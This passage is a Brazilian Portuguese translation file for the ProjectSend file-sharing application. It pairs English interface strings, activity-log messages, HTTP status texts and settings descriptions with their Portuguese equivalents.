":count pastas", + ":count items have been shared with you": ":count itens foram compartilhados com você", + ":count members": ":count membros", + ":count selected": ":count selecionados", + ":files files": ":files arquivos", + ":itemName was shared with you": ":itemName foi compartilhado com você", + ":name will not be added to the group \":group\".": ":name não será adicionado ao grupo \":group\".", + ":total total": ":total no total", + ":used / :limit downloads": ":used / :limit downloads", + ":used MB of :quota MB used": ":used MB de :quota MB utilizados", + ":used MB used, no limit": ":used MB utilizados, sem limite", + "(and :count more error)": "(e mais :count erros)", + "(and :count more errors)": "(e mais :count erros)|(e mais :count erros)|(e mais :count erros)", + "(deleted account)": "(conta excluída)", + "0 means unlimited.": "0 significa ilimitado.", + "A client account request was approved": "Uma solicitação de conta de cliente foi aprovada", + "A client account request was denied": "Uma solicitação de conta de cliente foi recusada", + "A client left a group": "Um cliente saiu de um grupo", + "A client registered an account": "Um cliente cadastrou uma conta", + "A client requested to join a group": "Um cliente solicitou entrar em um grupo", + "A client uploaded a file": "Um cliente enviou um arquivo", + "A client was added to a group": "Um cliente foi adicionado a um grupo", + "A client was removed from a group": "Um cliente foi removido de um grupo", + "A decryption key is required.": "É necessária uma chave de descriptografia.", + "A file assignment was removed": "Uma atribuição de arquivo foi removida", + "A file has been shared with you": "Um arquivo foi compartilhado com você", + "A file or folder was shared with you": "Um arquivo ou pasta foi compartilhado com você", + "A file was assigned": "Um arquivo foi atribuído", + "A file was deleted": "Um arquivo foi excluído", + "A file was downloaded": "Um arquivo foi baixado", + "A file was downloaded via a public link": "Um arquivo foi baixado por um link público", + "A file was downloaded via the public group listing": "Um arquivo foi baixado pela listagem pública de grupos", + "A file was updated": "Um arquivo foi atualizado", + "A file was uploaded": "Um arquivo foi enviado", + "A folder cannot be moved into itself.": "Uma pasta não pode ser movida para dentro de si mesma.", + "A folder has been shared with you": "Uma pasta foi compartilhada com você", + "A folder was created": "Uma pasta foi criada", + "A folder was deleted": "Uma pasta foi excluída", + "A folder was moved": "Uma pasta foi movida", + "A folder was renamed": "Uma pasta foi renomeada", + "A folder was shared": "Uma pasta foi compartilhada", + "A folder was unshared": "O compartilhamento de uma pasta foi removido", + "A group membership request was approved": "Uma solicitação de participação em grupo foi aprovada", + "A group membership request was denied": "Uma solicitação de participação em grupo foi recusada", + "A group membership was requested": "Foi solicitada a participação em um grupo", + "A group was created": "Um grupo foi criado", + "A group was deleted": "Um grupo foi excluído", + "A group was updated": "Um grupo foi atualizado", + "A new client account was created: :name (:email).": "Uma nova conta de cliente foi criada: :name (:email).", + "A new client has registered": "Um novo cliente se cadastrou", + "A new ProjectSend version is available": "Uma nova versão do ProjectSend está disponível", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "A página de um grupo público fica sempre acessível pelo próprio link assim que você o marca como público — esta seção controla apenas a URL base e um diretório opcional que lista de uma vez todos os grupos e arquivos públicos.", + "A public link was created": "Um link público foi criado", + "A public link was revoked": "Um link público foi revogado", + "A role was created": "Uma função foi criada", + "A role was deleted": "Uma função foi excluída", + "A role was updated": "Uma função foi atualizada", + "A Timeout Occurred": "Ocorreu Um Tempo Limite", + "About": "Sobre", + "Accept": "Aceitar", + "Accepted": "Aceito", + "Account": "Conta", + "Account deletion grace period (days)": "Período de carência antes da exclusão da conta (dias)", + "Account is active": "Conta ativa", + "Account Manager": "Gerente de contas", + "Account request approved.": "Solicitação de conta aprovada.", + "Account request denied.": "Solicitação de conta recusada.", + "Account requests": "Solicitações de conta", + "Account settings": "Configurações da conta", + "Account type": "Tipo de conta", + "Accounts": "Contas", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "As contas sujeitas a esta exigência precisam configurar a autenticação em duas etapas antes de continuar usando o aplicativo.", + "Action": "Ação", + "Actions": "Ações", + "Activate": "Ativar", + "Activated the account \":subject\"": "Ativou a conta \":subject\"", + "Activating this account approves its pending request.": "Ativar esta conta aprova a solicitação pendente vinculada a ela.", + "Active": "Ativo", + "Activity": "Atividade", + "Activity log": "Registro de atividades", + "Add": "Adicionar", + "Add :name": "Adicione :name", + "Add a category": "Adicionar uma categoria", + "Add a client": "Adicionar um cliente", + "Add a second step to your login using an authenticator app.": "Adicione uma segunda etapa ao seu acesso usando um aplicativo autenticador.", + "Add new clients to this group": "Adicionar novos clientes a este grupo", + "Added \":member\" to the group \":subject\"": "Adicionou \":member\" ao grupo \":subject\"", + "Admin": "Administrador", + "Admin notification recipients": "Destinatários das notificações administrativas", + "Admin: client uploaded a file": "Administração: um cliente enviou um arquivo", + "Admin: group membership requested": "Administração: participação em grupo solicitada", + "Admin: new client registered": "Administração: novo cliente cadastrado", + "Administration": "Administração", + "After uploading you can assign it to clients and groups": "Depois do envio, você poderá atribuí-lo a clientes e grupos", + "Agree": "Concordar", + "All": "Todos", + "All actions": "Todas as ações", + "All categories": "Todas as categorias", + "All clients": "Todos os clientes", + "All comments": "Todos os comentários", + "All failed jobs deleted.": "Todas as tarefas com falha foram excluídas.", + "All files": "Todos os arquivos", + "All groups": "Todos os grupos", + "All permissions": "Todas as permissões", + "All rights reserved.": "Todos os direitos reservados.", + "All roles": "Todas as funções", + "All statuses": "Todos os status", + "All system users": "Todos os usuários do sistema", + "All types": "Todos os tipos", + "Already have an account?": "Já tem uma conta?", + "Already Reported": "Já Reportado", + "Always": "Sempre", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Uma conta foi criada para você. Já pode entrar.", + "An account was activated": "Uma conta foi ativada", + "An account was created": "Uma conta foi criada", + "An account was deactivated": "Uma conta foi desativada", + "An account was deleted": "Uma conta foi excluída", + "An account was permanently erased": "Uma conta foi apagada definitivamente", + "An account was updated": "Uma conta foi atualizada", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Um administrador que exclui uma conta é perguntado a cada vez; a exclusão automática de contas removidas pelos próprios donos roda sem supervisão e segue esta escolha, então nada fica sem dono.", + "An administrator will review your group requests.": "Um administrador vai analisar suas solicitações de grupo.", + "An orphan file was deleted": "Um arquivo órfão foi excluído", + "An orphan file was imported": "Um arquivo órfão foi importado", + "An overview of this installation": "Uma visão geral desta instalação", + "Any audience": "Qualquer público", + "Anyone": "Qualquer pessoa", + "Anyone using it will no longer be able to download the file.": "Quem estiver usando não conseguirá mais baixar o arquivo.", + "Appearance": "Aparência", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Aplica-se às páginas públicas de grupos e arquivos voltadas a visitantes e ao portal do cliente \"Meus arquivos\".", + "Apply filters": "Aplicar filtros", + "Approve": "Aprovar", + "Approve account requests": "Aprovar solicitações de conta", + "Approve group membership requests": "Aprovar solicitações de participação em grupos", + "Approved the account request of \":subject\"": "Aprovou a solicitação de conta de \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "Aprovou a participação de \":member\" no grupo \":subject\"", + "Archive": "Arquivo", + "Are deleted along with the account": "São excluídos junto com a conta", + "Are reassigned to another account": "São transferidos para outra conta", + "Are you sure you want to delete your account?": "Tem certeza de que deseja excluir sua conta?", + "Assign": "Atribuir", + "Assign categories to files": "Atribuir categorias a arquivos", + "Assigned": "Atribuído", + "Assigned clients": "Clientes atribuídos", + "Assigned the file \":subject\" to :target": "Atribuiu o arquivo \":subject\" a :target", + "Associate": "Associado", + "Attach": "Anexar", + "Audience": "Público", + "Authentication code": "Código de autenticação", + "Authentication requirements for this installation": "Exigências de autenticação desta instalação", + "Author": "Autor", + "Available groups": "Grupos disponíveis", + "Available placeholders": "Marcadores disponíveis", + "Back to My files": "Voltar para Meus arquivos", + "Bad Gateway": "Gateway Inválido", + "Bad Request": "Requisição Inválida", + "Bandwidth Limit Exceeded": "Limite de Banda Excedido", + "Blue": "Azul", + "Body": "Corpo da mensagem", + "Browse": "Navegar", + "Browse publicly shared groups and files below.": "Navegue abaixo pelos grupos e arquivos compartilhados publicamente.", + "Built-in": "Integrada", + "Built-in role names cannot be changed.": "O nome das funções integradas não pode ser alterado.", + "Built-in roles cannot be deleted.": "As funções integradas não podem ser excluídas.", + "Call to action": "Chamada para ação", + "Cancel": "Cancelar", + "Categories": "Categorias", + "Category": "Categoria", + "Category created.": "Categoria criada.", + "Category deleted.": "Categoria excluída.", + "Category updated.": "Categoria atualizada.", + "Changed their password": "Alterou a própria senha", + "Checkbox": "Caixa de seleção", + "Checksum (SHA-256)": "Soma de verificação (SHA-256)", + "Choose": "Escolher", + "Choose :name": "Escolha :name", + "Choose an account…": "Escolha uma conta…", + "Choose File": "Escolher Arquivo", + "Choose Image": "Escolha a imagem", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Escolha quais notificações também chegam por e-mail. Tudo sempre aparece no sino de notificações.", + "Clear": "Limpar", + "Click to copy": "Clique para copiar", + "Client": "Cliente", + "Client account approved": "Conta de cliente aprovada", + "Client account denied": "Conta de cliente recusada", + "Client account edited": "Conta de cliente editada", + "Client Closed Request": "Solicitação fechada do cliente", + "Client created.": "Cliente criado.", + "Client deleted.": "Cliente excluído.", + "Client Manager": "Gestor de clientes", + "Client settings": "Configurações de clientes", + "Client updated.": "Cliente atualizado.", + "Client welcome (staff-created account)": "Boas-vindas ao cliente (conta criada pela equipe)", + "Clients": "Clientes", + "Clients and groups that can download this file": "Clientes e grupos que podem baixar este arquivo", + "Clients asking to join groups": "Clientes pedindo para entrar em grupos", + "Clients who registered themselves and are waiting for approval": "Clientes que se cadastraram sozinhos e aguardam aprovação", + "Close": "Fechar", + "Collapse": "Colapso", + "Collapse All": "Recolher todos", + "Color": "Cor", + "Columns": "Colunas", + "Comment": "Comente", + "Confirm": "Confirmar", + "Confirm password": "Confirmar senha", + "Conflict": "Conflito", + "Connect": "Conectar", + "Connection Closed Without Response": "Conexão Fechada Sem Resposta", + "Connection Timed Out": "Tempo Limite Da Conexão", + "Continue": "Continuar", + "Copy URL": "Copiar URL", + "Copy link": "Copiar link", + "Counters": "Contadores", + "Create": "Criar", + "Create :name": "Crie :name", + "Create a client account": "Criar uma conta de cliente", + "Create a public link": "Criar um link público", + "Create a staff account for this installation": "Criar uma conta de equipe para esta instalação", + "Create administrator account": "Criar conta de administrador", + "Create an account for someone you share files with": "Crie uma conta para alguém com quem você compartilha arquivos", + "Create categories": "Criar categorias", + "Create category": "Criar categoria", + "Create client": "Criar cliente", + "Create clients": "Criar clientes", + "Create custom assets": "Criar recursos personalizados", + "Create field": "Criar campo", + "Create folder": "Criar pasta", + "Create group": "Criar grupo", + "Create groups": "Criar grupos", + "Create link": "Criar link", + "Create own folders": "Criar as próprias pastas", + "Create role": "Criar função", + "Create system users": "Criar usuários do sistema", + "Create user": "Criar usuário", + "Created": "Criado", + "Created a public link for the file \":subject\"": "Criou um link público para o arquivo \":subject\"", + "Created by": "Criado por", + "Created the account \":subject\"": "Criou a conta \":subject\"", + "Created the folder \":subject\"": "Criou a pasta \":subject\"", + "Created the group \":subject\"": "Criou o grupo \":subject\"", + "Created the role \":subject\"": "Criou a função \":subject\"", + "Custom": "Personalizado", + "Custom assets": "Recursos personalizados", + "Custom fields": "Campos personalizados", + "Custom links with an optional expiration date or download limit, no account needed.": "Links sob medida, com data de validade ou limite de downloads opcionais, sem precisar de conta.", + "Custom roles let you grant a precise set of permissions": "As funções personalizadas permitem conceder um conjunto preciso de permissões", + "Custom SMTP": "SMTP personalizado", + "Customize the wording of any transactional email sent by this installation.": "Personalize o texto de qualquer e-mail transacional enviado por esta instalação.", + "Customized": "Personalizado", + "Dark": "Escuro", + "Dashboard": "Painel", + "Dashboard widgets": "Widgets do painel", + "Data retention and visibility for this installation": "Retenção de dados e visibilidade desta instalação", + "Database": "Banco de dados", + "Date": "Data", + "Days before a denied membership request can be made again": "Dias até que uma solicitação de participação recusada possa ser refeita", + "Deactivate your account now; it is permanently erased after :days days": "Desative sua conta agora; ela é apagada definitivamente após :days dias", + "Deactivated the account \":subject\"": "Desativou a conta \":subject\"", + "Default": "Padrão", + "Defaults to the file name.": "Por padrão, usa o nome do arquivo.", + "Delete": "Excluir", + "Delete :name": "Excluir :name", + "Delete account": "Excluir conta", + "Delete all": "Excluir tudo", + "Delete all failed": "Excluir todas com falha", + "Delete all failed jobs?": "Excluir todas as tarefas com falha?", + "Delete categories": "Excluir categorias", + "Delete category": "Excluir categoria", + "Delete category?": "Excluir a categoria?", + "Delete client": "Excluir cliente", + "Delete client?": "Excluir o cliente?", + "Delete clients": "Excluir clientes", + "Delete custom assets": "Excluir recursos personalizados", + "Delete field": "Excluir campo", + "Delete field?": "Excluir o campo?", + "Delete file": "Excluir arquivo", + "Delete file?": "Excluir o arquivo?", + "Delete files": "Excluir arquivos", + "Delete folder": "Excluir pasta", + "Delete folder?": "Excluir a pasta?", + "Delete group": "Excluir grupo", + "Delete group?": "Excluir o grupo?", + "Delete groups": "Excluir grupos", + "Delete others' files": "Excluir arquivos de outras pessoas", + "Delete own files": "Excluir os próprios arquivos", + "Delete role": "Excluir função", + "Delete role?": "Excluir a função?", + "Delete selected": "Excluir selecionados", + "Delete selected files?": "Excluir os arquivos selecionados?", + "Delete system users": "Excluir usuários do sistema", + "Delete this file?": "Excluir este arquivo?", + "Delete user": "Excluir usuário", + "Delete user?": "Excluir o usuário?", + "Deleted account": "Conta excluída", + "Deleted the account \":name\"": "Excluiu a conta \":name\"", + "Deleted the file \":name\"": "Excluiu o arquivo \":name\"", + "Deleted the folder \":name\" and its contents": "Excluiu a pasta \":name\" e seu conteúdo", + "Deleted the group \":name\"": "Excluiu o grupo \":name\"", + "Deleted the orphan file \":name\"": "Excluiu o arquivo órfão \":name\"", + "Deleted the role \":name\"": "Excluiu a função \":name\"", + "Denied the account request of \":name\"": "Recusou a solicitação de conta de \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "Recusou a participação de \":member\" no grupo \":subject\"", + "Deny": "Recusar", + "Deny this request?": "Recusar esta solicitação?", + "Description": "Descrição", + "Description (optional)": "Descrição (opcional)", + "Detach": "Desanexar", + "Details": "Detalhes", + "Disable": "Desativar", + "Disable two-factor authentication?": "Desativar a autenticação em duas etapas?", + "Disabled two-factor authentication": "Desativou a autenticação em duas etapas", + "Discard": "Descartar", + "Discourage search engines from indexing this site": "Desestimular os buscadores a indexar este site", + "Dismiss": "Dispensar", + "Documentation": "Documentação", + "Don't have an account?": "Não tem uma conta?", + "Done": "Feito", + "Down": "Abaixo", + "Download": "Baixar", + "Download as zip": "Baixar em ZIP", + "Downloaded the file \":subject\"": "Baixou o arquivo \":subject\"", + "Downloaded the file \":subject\" via a public link": "Baixou o arquivo \":subject\" por um link público", + "Downloaded the file \":subject\" via the public group listing": "Baixou o arquivo \":subject\" pela listagem pública de grupos", + "Downloads": "Downloads", + "Downloads are never recorded with an IP address.": "Os downloads nunca são registrados com endereço IP.", + "Drag to reorder": "Arraste para reordenar", + "Drag widgets here": "Arraste widgets para cá", + "Dropdown": "Lista suspensa", + "Duplicate": "Duplicado", + "Duplicate :name": "Duplicar :name", + "Edit": "Editar", + "Edit :name": "Editar :name", + "Edit categories": "Editar categorias", + "Edit clients": "Editar clientes", + "Edit custom assets": "Editar recursos personalizados", + "Edit email templates": "Editar modelos de e-mail", + "Edit groups": "Editar grupos", + "Edit others' files": "Editar arquivos de outras pessoas", + "Edit own files": "Editar os próprios arquivos", + "Edit system settings": "Editar as configurações do sistema", + "Edit system users": "Editar usuários do sistema", + "Edit this client account": "Editar esta conta de cliente", + "Edit this staff account": "Editar esta conta de equipe", + "Edition": "Edição", + "Email": "E-mail", + "Email address": "Endereço de e-mail", + "Email settings": "Configurações de e-mail", + "Email template reset to default.": "Modelo de e-mail restaurado ao padrão.", + "Email template saved.": "Modelo de e-mail salvo.", + "Email templates": "Modelos de e-mail", + "Empty file": "Arquivo vazio", + "Enable": "Ativar", + "Enable the public directory page": "Ativar a página do diretório público", + "Enable two-factor authentication": "Ativar a autenticação em duas etapas", + "Enabled two-factor authentication": "Ativou a autenticação em duas etapas", + "Encrypted environment file already exists.": "O arquivo de ambiente criptografado já existe.", + "Encrypted environment file not found.": "Arquivo de ambiente criptografado não encontrado.", + "Encryption": "Criptografia", + "Enter one of your recovery codes.": "Informe um dos seus códigos de recuperação.", + "Enter the six-digit code from your authenticator app.": "Informe o código de seis dígitos do seu aplicativo autenticador.", + "Enter your email and password below to log in": "Informe abaixo seu e-mail e sua senha para entrar", + "Environment": "Ambiente", + "Environment file already exists.": "O arquivo de ambiente já existe.", + "Environment file not found.": "Arquivo de ambiente não encontrado.", + "errors": "erros", + "Every comment on files you can see, newest first": "Todos os comentários dos arquivos que você pode ver, do mais recente ao mais antigo", + "Every download records the IP address of whoever downloaded it.": "Todo download registra o endereço IP de quem o realizou.", + "Everyone": "Todos", + "Everything that happened on this installation, newest first": "Tudo o que aconteceu nesta instalação, do mais recente ao mais antigo", + "Expand": "Expandir", + "Expand All": "Expandir todos", + "Expectation Failed": "Falha Na Expectativa", + "Expires": "Expira", + "Expires :date": "Expira em :date", + "Explanation": "Explicação", + "Export": "Exportar", + "Export :name": "Exportar :name", + "Export CSV": "Exportar CSV", + "External storage": "Armazenamento externo", + "Extra fields shown on the client create and edit screens.": "Campos adicionais exibidos nas telas de criação e edição de clientes.", + "Failed Dependency": "Dependência Com Falha", + "Failed to send: :error": "Falha no envio: :error", + "File": "Arquivo", + "File: :name": "Arquivo: :name", + "File deleted.": "Arquivo excluído.", + "File imported.": "Arquivo importado.", + "File name": "Nome do arquivo", + "File shared with a client": "Arquivo compartilhado com um cliente", + "File updated.": "Arquivo atualizado.", + "File uploaded.": "Arquivo enviado.", + "Files": "arquivos", + "Files can only be assigned to clients or groups.": "Os arquivos só podem ser atribuídos a clientes ou grupos.", + "Files shared with you": "Arquivos compartilhados com você", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Arquivos presentes no disco sem registro correspondente — de um envio interrompido, uma restauração ou acesso manual ao sistema de arquivos.", + "Flat labels for files — independent of folders. A file can have several.": "Rótulos simples para arquivos — independentes das pastas. Um arquivo pode ter vários.", + "Folder": "Pasta", + "Folder: :name": "Pasta: :name", + "Folder created.": "Pasta criada.", + "Folder deleted.": "Pasta excluída.", + "Folder shared with a client": "Pasta compartilhada com um cliente", + "Folders can only be shared with clients or groups.": "As pastas só podem ser compartilhadas com clientes ou grupos.", + "Folders cannot be nested more than :max levels deep.": "As pastas não podem ser aninhadas em mais de :max níveis.", + "Forbidden": "Proibido", + "Forgot password?": "Esqueceu a senha?", + "Found": "Encontrado", + "From": "De", + "From address": "Endereço do remetente", + "From name": "Nome do remetente", + "Gateway Timeout": "Tempo Limite Do Gateway", + "General": "Geral", + "General settings": "Configurações gerais", + "Go Home": "Voltar ao início", + "Go to page :page": "Ir para a página :page", + "Go to the login form": "Ir para o formulário de acesso", + "Gone": "Perdido", + "Gray": "Cinza", + "Green": "Verde", + "Group": "Grupo", + "Group created.": "Grupo criado.", + "Group deleted.": "Grupo excluído.", + "Group membership approved": "Participação no grupo aprovada", + "Group membership denied": "Participação no grupo recusada", + "Group updated.": "Grupo atualizado.", + "Groups": "Grupos", + "Groups clients can request to join at registration": "Grupos que os clientes podem pedir para entrar no cadastro", + "Groups let you assign files to several clients at once": "Os grupos permitem atribuir arquivos a vários clientes de uma vez", + "Hello :name,": "Olá :name,", + "Hello, :name": "Olá, :name", + "Hello!": "Olá!", + "Here is what has been shared with you": "Veja o que foi compartilhado com você", + "Hide": "Esconder", + "Hide :name": "Ocultar :name", + "Home": "Lar", + "Host": "Host", + "How client accounts are created on this installation": "Como as contas de cliente são criadas nesta instalação", + "How long a self-deleted account is kept before it is permanently erased.": "Por quanto tempo uma conta excluída pelo próprio titular é mantida antes de ser apagada definitivamente.", + "How many files/folders were shared at once": "Quantos arquivos/pastas foram compartilhados de uma só vez", + "HTTP Version Not Supported": "Versão HTTP Não Suportada", + "I'm a teapot": "Eu Sou Um Bule De Chá", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Se esta conta não estiver mais disponível quando a exclusão for executada, os arquivos são excluídos em vez de ficarem sem dono.", + "If you did not create an account, no further action is required.": "Se não criou uma conta, ignore este e-mail.", + "If you did not request a password reset, no further action is required.": "Se não solicitou a redefinição da senha, ignore este e-mail.", + "If you received this, your email configuration is working.": "Se você recebeu esta mensagem, sua configuração de e-mail está funcionando.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Se não conseguir clicar no botão \":actionText\", copie e cole a URL abaixo\nno seu navegador:", + "IM Used": "Estou Usando", + "Image": "Imagem", + "Impersonate": "Personificar", + "Impersonation": "Representação", + "Import": "Importar", + "Import :name": "Importar :name", + "Import orphan files": "Importar arquivos órfãos", + "Import selected": "Importar selecionados", + "Imported the orphan file \":subject\"": "Importou o arquivo órfão \":subject\"", + "Inactive": "Inativo", + "Include this file when a group it's shared with is public.": "Incluir este arquivo quando um grupo com o qual ele é compartilhado for público.", + "Insert": "Inserir", + "Installed ProjectSend": "Instalou o ProjectSend", + "Insufficient Storage": "Armazenamento Insuficiente", + "Internal Server Error": "Erro Interno Do Servidor", + "Introduction": "Introdução", + "Invalid filename.": "Nome de arquivo inválido.", + "Invalid JSON was returned from the route.": "JSON inválido foi retornado da rota.", + "Invalid SSL Certificate": "Certificado SSL Inválido", + "Label": "Rótulo", + "Last modified": "Última modificação", + "Latest files": "Arquivos mais recentes", + "Leave": "Sair", + "Leave empty for a link that never expires.": "Deixe em branco para um link que nunca expira.", + "Leave empty for unlimited downloads.": "Deixe em branco para downloads ilimitados.", + "Leave group": "Sair do grupo", + "Leave this group?": "Sair deste grupo?", + "Left the group \":subject\"": "Saiu do grupo \":subject\"", + "length": "comprimento", + "Length Required": "Comprimento Necessário", + "Library": "Biblioteca", + "Light": "Claro", + "Like": "Como", + "Limit download counts": "Limitar a quantidade de downloads", + "Limit to assigned clients": "Limitar aos clientes atribuídos", + "Limits for files uploaded to this installation": "Limites para os arquivos enviados a esta instalação", + "Link unavailable": "Link indisponível", + "Load": "Carregar", + "Loading…": "Carregando…", + "Local storage": "Armazenamento local", + "Localize": "Localizar", + "Location": "Localização", + "Locked": "Fechado", + "Log in": "Entrar", + "Log In": "Iniciar Sessão", + "Log in to your account": "Entre na sua conta", + "Log out": "Sair", + "Log Out": "Encerrar Sessão", + "Logged in": "Entrou", + "Logged out": "Saiu", + "Login": "Iniciar Sessão", + "Logout": "Encerrar Sessão", + "Loop Detected": "Loop Detectado", + "Mail provider settings saved.": "Configurações do provedor de e-mail salvas.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Modo De Manutenção", + "Manage custom fields": "Gerenciar campos personalizados", + "Manage public links from the edit page.": "Gerencie os links públicos pela página de edição.", + "Manage system users and roles": "Gerenciar usuários do sistema e funções", + "Manage updates": "Gerenciar atualizações", + "Manage your profile and account settings": "Gerencie seu perfil e as configurações da conta", + "Mark all read": "Marcar tudo como lido", + "Mark as read": "Marcar como lido", + "Mark as unread": "Marcar como não lido", + "Max downloads": "Downloads máx.", + "Maximum file size (MB)": "Tamanho máximo do arquivo (MB)", + "Member": "Membro", + "Members": "Membros", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Os membros desta função só veem arquivos e pastas dos clientes atribuídos a eles, além dos próprios envios.", + "Membership request approved.": "Solicitação de participação aprovada.", + "Membership request denied.": "Solicitação de participação recusada.", + "Membership requests": "Solicitações de participação", + "Membership requests are reviewed by an administrator": "As solicitações de participação são analisadas por um administrador", + "Method Not Allowed": "Método Não Permitido", + "Minutes until the reset link expires": "Minutos até o link de redefinição expirar", + "Misdirected Request": "Solicitação Mal Direcionada", + "Modified": "Modificado", + "Moved Permanently": "Movido Permanentemente", + "Moved the folder \":subject\"": "Moveu a pasta \":subject\"", + "Multi-line text": "Texto de várias linhas", + "Multi-Status": "Vários status", + "Multiple Choices": "Múltiplas Escolhas", + "Multiple files/folders shared at once (digest)": "Vários arquivos/pastas compartilhados de uma vez (resumo)", + "My files": "Meus arquivos", + "My groups": "Meus grupos", + "Name": "Nome", + "Name or description": "Nome ou descrição", + "Name or email address": "Nome ou endereço de e-mail", + "Never": "Nunca", + "Never expires": "Nunca expira", + "Network Authentication Required": "Autenticação De Rede Necessária", + "Network Connect Timeout Error": "Erro de tempo limite de conexão de rede", + "Network Read Timeout Error": "Erro de tempo limite de leitura da rede", + "New": "Novo", + "New :name": "Novo :name", + "New category": "Nova categoria", + "New client": "Novo cliente", + "New client registrations and client uploads are sent here — at least one address is required.": "Novos cadastros de clientes e envios feitos por eles chegam aqui — é preciso pelo menos um endereço.", + "New field": "Novo campo", + "New folder": "Nova pasta", + "New group": "Novo grupo", + "New membership request from :client for the group \":group\".": "Nova solicitação de participação de :client para o grupo \":group\".", + "New password (leave blank to keep current)": "Nova senha (deixe em branco para manter a atual)", + "New role": "Nova função", + "New user": "Novo usuário", + "News": "Novidades", + "Next": "Avançar", + "No": "Não", + "No activity matches these filters.": "Nenhuma atividade corresponde a estes filtros.", + "No activity recorded yet.": "Nenhuma atividade registrada até agora.", + "No categories match your search.": "Nenhuma categoria corresponde à sua busca.", + "No categories yet.": "Ainda não há categorias.", + "No clients match these filters.": "Nenhum cliente corresponde a estes filtros.", + "No clients yet.": "Ainda não há clientes.", + "No comments match these filters.": "Nenhum comentário corresponde a estes filtros.", + "No Content": "Nenhum Conteúdo", + "No custom fields yet.": "Ainda não há campos personalizados.", + "No downloads recorded yet.": "Nenhum download registrado até agora.", + "No fields match your search.": "Nenhum campo corresponde à sua busca.", + "No files have been shared with you yet.": "Nenhum arquivo foi compartilhado com você ainda.", + "No files here yet.": "Ainda não há arquivos aqui.", + "No files or folders match your search.": "Nenhum arquivo ou pasta corresponde à sua busca.", + "No files yet. Upload the first one.": "Ainda não há arquivos. Envie o primeiro.", + "No folder": "Sem pasta", + "No groups match these filters.": "Nenhum grupo corresponde a estes filtros.", + "No groups yet.": "Ainda não há grupos.", + "No members yet.": "Ainda não há membros.", + "No more categories": "Não há mais categorias", + "No more clients to add": "Não há mais clientes para adicionar", + "No news yet.": "Ainda não há novidades.", + "No orphan files found.": "Nenhum arquivo órfão encontrado.", + "No orphan files match your search.": "Nenhum arquivo órfão corresponde à sua busca.", + "No pending requests.": "Nenhuma solicitação pendente.", + "No public links yet.": "Ainda não há links públicos.", + "No recipients added yet.": "Ainda não há destinatários adicionados.", + "No requests match your search.": "Nenhuma solicitação corresponde à sua busca.", + "No roles match this filter.": "Nenhuma função corresponde a este filtro.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Sem limite de tamanho. Os envios podem ser pausados e retomam automaticamente após interrupções.", + "No users match these filters.": "Nenhum usuário corresponde a estes filtros.", + "No users yet.": "Ainda não há usuários.", + "Nobody (optional for everyone)": "Ninguém (opcional para todos)", + "Non-Authoritative Information": "Informações Não Autorizadas", + "None": "Nenhum", + "None of the selected items could be found.": "Nenhum dos itens selecionados foi encontrado.", + "Not Acceptable": "Não Aceitável", + "Not Extended": "Não Estendido", + "Not Found": "Não encontrado", + "Not Implemented": "Não Implementado", + "Not Modified": "Não Modificado", + "Not shared with anyone yet.": "Ainda não compartilhado com ninguém.", + "Notification settings": "Configurações de notificação", + "Notifications": "Notificações", + "Nothing is publicly shared yet.": "Ainda não há nada compartilhado publicamente.", + "of": "de", + "OK": "OK", + "One option per line": "Uma opção por linha", + "Only clients can be group members.": "Somente clientes podem ser membros de um grupo.", + "Only clients can comment here.": "Somente clientes podem comentar aqui.", + "Only for anonymous downloads": "Somente para downloads anônimos", + "Only people who are signed in can comment here.": "Somente pessoas conectadas podem comentar aqui.", + "Only staff can comment here.": "Somente a equipe pode comentar aqui.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Somente o texto abaixo pode ser editado — botões e links deste e-mail permanecem inalterados.", + "Open": "Abrir", + "Open folder": "Abrir pasta", + "Open in a current window": "Abrir em uma janela atual", + "Open in a new window": "Abrir em uma nova janela", + "Open in a parent frame": "Abrir em um quadro pai", + "Open in the topmost frame": "Abra no quadro superior", + "Open on the website": "Aberto no site", + "Open public listing": "Abrir a listagem pública", + "Options": "Opções", + "Or enter this key manually:": "Ou informe esta chave manualmente:", + "Orange": "Laranja", + "Origin Is Unreachable": "Origem É Inacessível", + "Outgoing email": "E-mails enviados", + "Outgoing email theme": "Tema dos e-mails enviados", + "Page :current of :last": "Página :current de :last", + "Page Expired": "Página expirada", + "Pagination Navigation": "Navegação em resultados paginados", + "Partial Content": "Conteúdo Parcial", + "Password": "Senha", + "Password reset": "Redefinição de senha", + "Path": "Caminho", + "Payload Too Large": "Carga Muito Grande", + "Payment Required": "Pagamento Requerido", + "Pending approval": "Aguardando aprovação", + "Permanent Redirect": "Redirecionamento Permanente", + "Permanently erased a deleted account": "Apagou definitivamente uma conta excluída", + "Permissions": "Permissões", + "Pink": "Rosa", + "Platform": "Plataforma", + "Please click the button below to verify your email address.": "Por favor, clique no botão abaixo para verificar seu endereço de e-mail.", + "Port": "Porta", + "Postmark": "Postmark", + "Powered by ProjectSend": "Com tecnologia ProjectSend", + "Precondition Failed": "Pré-Condição Falhou", + "Precondition Required": "Pré-Condição Necessária", + "Preparing your download…": "Preparando seu download…", + "Preview": "Pré-visualização", + "Preview: :theme": "Prévia: :theme", + "Previous": "Voltar", + "Price": "Preço", + "Privacy": "Privacidade", + "Privacy settings": "Configurações de privacidade", + "Private": "Privado", + "Processing": "Processamento", + "Profile": "Perfil", + "Profile information was updated": "As informações do perfil foram atualizadas", + "ProjectSend :latestVersion is available (you have :currentVersion)": "O ProjectSend :latestVersion está disponível (você tem a :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "O ProjectSend é um software livre e de código aberto para enviar arquivos aos seus clientes. É publicado 